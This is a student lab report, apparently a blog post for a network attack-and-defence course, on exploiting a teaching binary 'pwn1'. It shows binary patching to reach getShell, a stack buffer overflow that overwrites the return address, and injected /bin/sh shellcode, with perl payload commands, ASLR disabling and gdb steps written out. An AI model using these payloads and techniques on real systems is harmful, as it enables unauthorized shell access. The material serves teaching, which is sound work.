20211901 2021-2022-2《网络攻防实践》第九次作业

1.实验内容

本次实践的对象是一个名为pwn1的linux可执行文件
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

2.实验过程

2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

①在云班课中下载pwn1文件放在kali虚拟机中

②输入指令:objdump -d pwn1 | more,对pwn1文件进行反汇编,按键盘的↓键,往下找可以看到getshell函数、foo函数和main函数,CALL 8048491是汇编指令,其机器指令为e8 d7 ff ff ff,e8和CALL相互对应,8048491和d7 ff ff ff对应,所以修改偏移地址即可运行getshell,(0x8048491-0xffffffd7)%0x100000000 = 0x080484ba,此时eip寄存器为80484BA,,所以对于getshell所在的0804847D可以得出修改偏移量为(0x0804847d-0x080484ba)%0x100000000 = 0xffffffc3


③备份一份云班课中的文件,命名为20211901,在终端输入指令:vim 20211901打开,发现是乱码

④输入指令%!xxd使得上述内容十六进制显示,然后找到我们要更改的内容,用r对这些字符一一修改,讲d7改为c3

⑤接下来输入指令%!xxd -r恢复为原来的乱码状态,然后输入:wq保存退出

⑥接下来输入指令./pwn1运行修改前的文件,输入有回显,然后输入./20211901,修改后相当于是获得了shell.

2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

①我们首先来看第一个实验中的函数,程序如果正常执行会调用foo函数,而foo函数会回显我们的输入,因此我们可利用BOF漏洞使用缓冲区溢出攻击触发getshell函数。在foo函数执行后,执行的下一条指令的地址是0x080484ba,此地址也是函数的返回地址。我们需要覆盖该地址,使之变为getshell函数的入口地址就可跳转到getshell函数

②输入指令gdb pwn1调试程序,然后输入一段字符串进行测试:jjjjjjjjxxxxxxxxyyyyyyyyjjjjjjjjxxxxxxxx

③输入指令info r查看当前寄存器内的数据,显示ebp寄存器为0x6a6a6a6a,eip寄存器为0x78787878

④输入perl -e 'print "20211901202119012021190120211901\x7d\x84\x04\x08\x0a"' > input来生成这样的文件,然后查看input文件的内容

⑤然后将input的输入通过管道符|,作为pwn1的输入,会得到shell提示符,显示到的当前目录和ip地址如下所示

2.3注入一个自己制作的shellcode并运行这段shellcode

①首先进入管理员权限,在终端中输入指令sudo echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化

②输入指令
perl -e 'print"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shell_code构造输入的字符串为input_shell_code,通过(cat input_shell_code; cat) | ./pwn1命令将input_shell_code作为pwn1的输入。

③我们再打开一个命令窗口,输入指令ps -ef | grep pwn1查看进程号码为4220,然后输入attach 4220

④输入指令break *0x080484ae设置断点,这个地址是foo函数执行到最后的地址,然后我们回到另一个命令窗口,在pwn1中输入jjjjjjjjxxxxxxxxyyyyyyyyjjjjjjjjxxxxxxxx

⑤输入info r esp查断点的esp寄存器中的值,为oxffffd50c

⑥输入指令perl -e 'print "A" x 32; print"\x10\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"'> inputjxy构造32个A+retaddr+nop+shellcode输入指令(cat inputjxy; cat) | ./pwn1命令将input_shell_code_0作为pwn1的输入,从而得到shell

3.学习中遇到的问题及解决

  • 问题1:做第三部分实验的时候,attach 进程的时候失败

  • 问题1解决方案:这是因为重新启动了进程,进程号会变化,需要使用指令ps -ef | grep pwn1重新获取进程号

  • 问题2:还是第三部分实验,做了很多次没有成功

  • 问题2解决方案:在做第一个实验的时候,不小心把文件内容修改了,重新导入一个pwn1文件即可

  • 问题3:实验三中进程运行的时候,打开另一个终端使用attach指令后无法获取进程号

  • 问题3解决方案:这是因为第一个终端是用了root权限,那么我们在另外一个窗口中想获取进程号也需要先进入root权限才能获取进程号

4.学习感悟、思考等

本次实验涉及到很多汇编的知识点,使我对反汇编的知识又有了一个新的了解和实践,同时又温习了一遍汇编的知识,当然,目前对于汇编的掌握还是较为薄弱,以后还需要多多学习

参考资料

  • 《网络攻防技术与实践》
posted @ 2022-05-15 21:05  只喝凉白开无糖拿铁  阅读(52)  评论(0编辑  收藏  举报